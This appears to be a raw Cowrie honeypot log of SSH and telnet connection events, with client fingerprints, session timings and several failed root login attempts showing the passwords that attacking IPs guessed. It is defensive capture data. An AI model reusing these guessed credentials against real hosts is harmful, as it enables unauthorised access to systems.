{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T00:13:14.747964Z","src_ip":"94.230.136.33","session":"10d7edfd01e1","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T00:13:14.902400Z","src_ip":"94.230.136.33","session":"10d7edfd01e1","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"welcome123$","message":"login attempt [root/welcome123$] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T00:13:15.525828Z","src_ip":"94.230.136.33","session":"10d7edfd01e1","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.9","message":"Connection lost after 1.9 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T00:13:16.676088Z","src_ip":"94.230.136.33","session":"10d7edfd01e1","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":88.21673035621643,"message":"Connection lost after 88 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T00:13:16.932534Z","src_ip":"152.42.224.71","session":"7524fafa42dc","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":57.86756348609924,"message":"Connection lost after 57 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T00:13:17.584186Z","src_ip":"152.42.224.71","session":"349b47888734","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"119.28.115.94","src_port":51044,"dst_ip":"159.203.135.109","dst_port":22,"session":"d5d037d72800","protocol":"ssh","message":"New connection: 119.28.115.94:51044 (159.203.135.109:22) [session: d5d037d72800]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T00:13:18.988116Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T00:13:18.993001Z","src_ip":"119.28.115.94","session":"d5d037d72800","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T00:13:19.238074Z","src_ip":"119.28.115.94","session":"d5d037d72800","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":39016,"dst_ip":"10.17.0.5","dst_port":23,"session":"e903203eb301","protocol":"telnet","message":"New connection: 152.42.224.71:39016 (10.17.0.5:23) [session: e903203eb301]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T00:13:19.381964Z"}
{"eventid":"cowrie.login.failed","username":"root","password":"rado","message":"login attempt [root/rado] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T00:13:20.250939Z","src_ip":"119.28.115.94","session":"d5d037d72800","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":39030,"dst_ip":"10.17.0.5","dst_port":23,"session":"67ac3cd951ea","protocol":"telnet","message":"New connection: 152.42.224.71:39030 (10.17.0.5:23) [session: 67ac3cd951ea]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T00:13:20.484427Z"}
{"eventid":"cowrie.session.closed","duration":32.66654920578003,"message":"Connection lost after 32 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T00:13:21.357453Z","src_ip":"152.42.224.71","session":"922afc824c34","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":"2.5","message":"Connection lost after 2.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T00:13:21.499234Z","src_ip":"119.28.115.94","session":"d5d037d72800","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":39040,"dst_ip":"10.17.0.5","dst_port":23,"session":"122c2b483cdd","protocol":"telnet","message":"New connection: 152.42.224.71:39040 (10.17.0.5:23) [session: 122c2b483cdd]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T00:13:23.510650Z"}
{"eventid":"cowrie.session.connect","src_ip":"194.59.206.2","src_port":12884,"dst_ip":"10.17.0.5","dst_port":22,"session":"eed15c5d3e76","protocol":"ssh","message":"New connection: 194.59.206.2:12884 (10.17.0.5:22) [session: eed15c5d3e76]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T00:13:24.446524Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T00:13:24.451568Z","src_ip":"194.59.206.2","session":"eed15c5d3e76","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"e54ef3ec27fe1fea7ab64d3fa05359fd","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group1-sha1,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1;chacha20-poly1305@openssh.com,aes128-gcm@openssh.com,aes256-gcm@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr,aes128-cbc,arcfour256,arcfour128,arcfour,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-256,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group1-sha1","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group-exchange-sha256","diffie-hellman-group-exchange-sha1"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com"],"encCS":["chacha20-poly1305@openssh.com","aes128-gcm@openssh.com","aes256-gcm@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr","aes128-cbc","arcfour256","arcfour128","arcfour","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-256","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: e54ef3ec27fe1fea7ab64d3fa05359fd","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T00:13:24.543630Z","src_ip":"194.59.206.2","session":"eed15c5d3e76","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"0.2","message":"Connection lost after 0.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T00:13:24.638996Z","src_ip":"194.59.206.2","session":"eed15c5d3e76","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":86.20391774177551,"message":"Connection lost after 86 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T00:13:26.417851Z","src_ip":"152.42.224.71","session":"3171f695f840","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":52408,"dst_ip":"10.17.0.5","dst_port":23,"session":"cca77330a0e3","protocol":"telnet","message":"New connection: 152.42.224.71:52408 (10.17.0.5:23) [session: cca77330a0e3]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T00:13:27.612065Z"}
{"eventid":"cowrie.session.closed","duration":95.89989709854126,"message":"Connection lost after 95 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T00:13:33.923108Z","src_ip":"152.42.224.71","session":"8466f5b9e380","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":81.08897185325623,"message":"Connection lost after 81 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T00:13:34.455658Z","src_ip":"152.42.224.71","session":"ba042536b378","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"220.184.116.167","src_port":38936,"dst_ip":"159.203.135.109","dst_port":23,"session":"7043bc3df1a6","protocol":"telnet","message":"New connection: 220.184.116.167:38936 (159.203.135.109:23) [session: 7043bc3df1a6]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T00:13:35.092289Z"}
{"eventid":"cowrie.session.connect","src_ip":"43.153.54.120","src_port":39854,"dst_ip":"159.203.135.109","dst_port":22,"session":"17be22fa9648","protocol":"ssh","message":"New connection: 43.153.54.120:39854 (159.203.135.109:22) [session: 17be22fa9648]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T00:13:35.446576Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T00:13:35.452224Z","src_ip":"43.153.54.120","session":"17be22fa9648","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T00:13:35.521533Z","src_ip":"43.153.54.120","session":"17be22fa9648","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"101.36.108.213","src_port":58782,"dst_ip":"159.203.135.109","dst_port":22,"session":"b177dd449f80","protocol":"ssh","message":"New connection: 101.36.108.213:58782 (159.203.135.109:22) [session: b177dd449f80]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T00:13:35.805206Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T00:13:35.811479Z","src_ip":"101.36.108.213","session":"b177dd449f80","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"senha","message":"login attempt [root/senha] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T00:13:35.830071Z","src_ip":"43.153.54.120","session":"17be22fa9648","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T00:13:36.025279Z","src_ip":"101.36.108.213","session":"b177dd449f80","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T00:13:36.900043Z","src_ip":"43.153.54.120","session":"17be22fa9648","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"ford","message":"login attempt [root/ford] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T00:13:36.906192Z","src_ip":"101.36.108.213","session":"b177dd449f80","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":52672,"dst_ip":"10.17.0.5","dst_port":23,"session":"4be56a87befc","protocol":"telnet","message":"New connection: 152.42.224.71:52672 (10.17.0.5:23) [session: 4be56a87befc]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T00:13:37.386839Z"}
{"eventid":"cowrie.session.closed","duration":"2.3","message":"Connection lost after 2.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T00:13:38.131988Z","src_ip":"101.36.108.213","session":"b177dd449f80","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"43.134.228.151","src_port":41286,"dst_ip":"159.203.135.109","dst_port":22,"session":"b7d6d3ea4c72","protocol":"ssh","message":"New connection: 43.134.228.151:41286 (159.203.135.109:22) [session: b7d6d3ea4c72]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T00:13:43.615925Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T00:13:43.619517Z","src_ip":"43.134.228.151","session":"b7d6d3ea4c72","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T00:13:43.863971Z","src_ip":"43.134.228.151","session":"b7d6d3ea4c72","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"admin123456#","message":"login attempt [root/admin123456#] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T00:13:44.876062Z","src_ip":"43.134.228.151","session":"b7d6d3ea4c72","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.5","message":"Connection lost after 2.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T00:13:46.124703Z","src_ip":"43.134.228.151","session":"b7d6d3ea4c72","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"80.66.85.226","src_port":39554,"dst_ip":"159.203.135.109","dst_port":22,"session":"217d06815ee5","protocol":"ssh","message":"New connection: 80.66.85.226:39554 (159.203.135.109:22) [session: 217d06815ee5]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T00:13:47.219401Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T00:13:47.223426Z","src_ip":"80.66.85.226","session":"217d06815ee5","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T00:13:47.312379Z","src_ip":"80.66.85.226","session":"217d06815ee5","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"12332","message":"login attempt [root/12332] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T00:13:47.582422Z","src_ip":"80.66.85.226","session":"217d06815ee5","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":57558,"dst_ip":"10.17.0.5","dst_port":23,"session":"ad49554dbe2b","protocol":"telnet","message":"New connection: 152.42.224.71:57558 (10.17.0.5:23) [session: ad49554dbe2b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T00:13:48.111986Z"}
{"eventid":"cowrie.session.closed","duration":13.338380575180054,"message":"Connection lost after 13 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T00:13:48.430512Z","src_ip":"220.184.116.167","session":"7043bc3df1a6","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T00:13:48.673522Z","src_ip":"80.66.85.226","session":"217d06815ee5","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":38.569169998168945,"message":"Connection lost after 38 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T00:13:49.651142Z","src_ip":"152.42.224.71","session":"4b29b9f3561d","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":57574,"dst_ip":"10.17.0.5","dst_port":23,"session":"c370e1471b4f","protocol":"telnet","message":"New connection: 152.42.224.71:57574 (10.17.0.5:23) [session: c370e1471b4f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T00:13:51.719529Z"}
{"eventid":"cowrie.session.closed","duration":26.08441972732544,"message":"Connection lost after 26 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T00:13:53.696378Z","src_ip":"152.42.224.71","session":"cca77330a0e3","protocol":"telnet"}
